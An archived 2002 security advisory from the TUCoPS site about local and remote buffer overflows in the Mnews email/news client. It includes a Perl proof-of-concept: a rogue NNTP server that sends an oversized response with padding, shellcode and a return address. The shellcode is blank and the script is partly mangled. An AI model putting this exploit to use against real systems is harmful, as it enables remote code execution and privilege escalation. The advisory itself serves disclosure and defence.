Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: unix5395.htm

Mnews local and remote overflow vulnerabilities

4th Jun 2002 [SBWID-5395]

	Mnews local and remote overflow vulnerabilities


	version 1.22, maybe older too


	zillion  []  found  following,  as   reported   in
	Strategic Reconnaissance Team Security Advisory (SRT2002-04-31-1159):

	Mnews is a small console based email and  news  client  which  is  often
	installed setgid mail. Several local  and  remote  overflows  have  been
	identified in this package.

	Local overflows where found in the -f, -n, -D, -M, -P parameters and  in
	the  JNAMES,  MAILSERVER  environment  variables.  The  remote  overflow
	resides in the code responsible for processing responses  received  from
	the NNTP server. For example the following response will  result  in  an


	 200 <a x 770>



	If you look at the source code of mnews you will see that  this  package
	is very outdated and dangerous to use on todays Internet.




	Local users might be able to elevate their privileges  on  the  affected
	systems. Remote malicious server owners can use mnews  to  penetrate  an
	affected system.


	 Proof of Concept




	#!/usr/bin/perl -w


	# Remote FreeBSD exploit for the Mnews port version 1.22 which is shipped

	# with the 4.5-RELEASE ports collection.


	# This exploit is pretty harmless as it only prints a small message to

	# stdout (NAI?).


	# Written by zillion[at] (!shit)





	use IO::Socket;


	$shellcode =








	# normal \\x90 nops don\'t work here..


	$nop = \"A\";

	$esp = 0xbfbff65e;

	$off = \"-70\";

	$size = 762;


	for ($i = 0; $i < ($size - length($shellcode)); $i++) {

	    $buffer .= \"$nop\";



	$buffer .= $shellcode;

	$buffer .= pack(\'l\', ($esp + $off));

	$buffer .= pack(\'l\', ($esp + $off));


	printf(\"Starting to listen for incoming connections... buffer size


	print(\"The new return address: 0x\", sprintf(\'%lx\',($esp + $off)), \"\\n\");


	my $sock = new IO::Socket::INET (

	                                 LocalPort => 119,

	                                 Proto => \'tcp\',

	                                 Listen => 1,

	                                 Reuse => 1,



	while($cl = $sock->accept()) {


	sleep 1;

	print $cl \"200 $buffer\\n\";

	sleep 3;





	Stop using Mnews.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH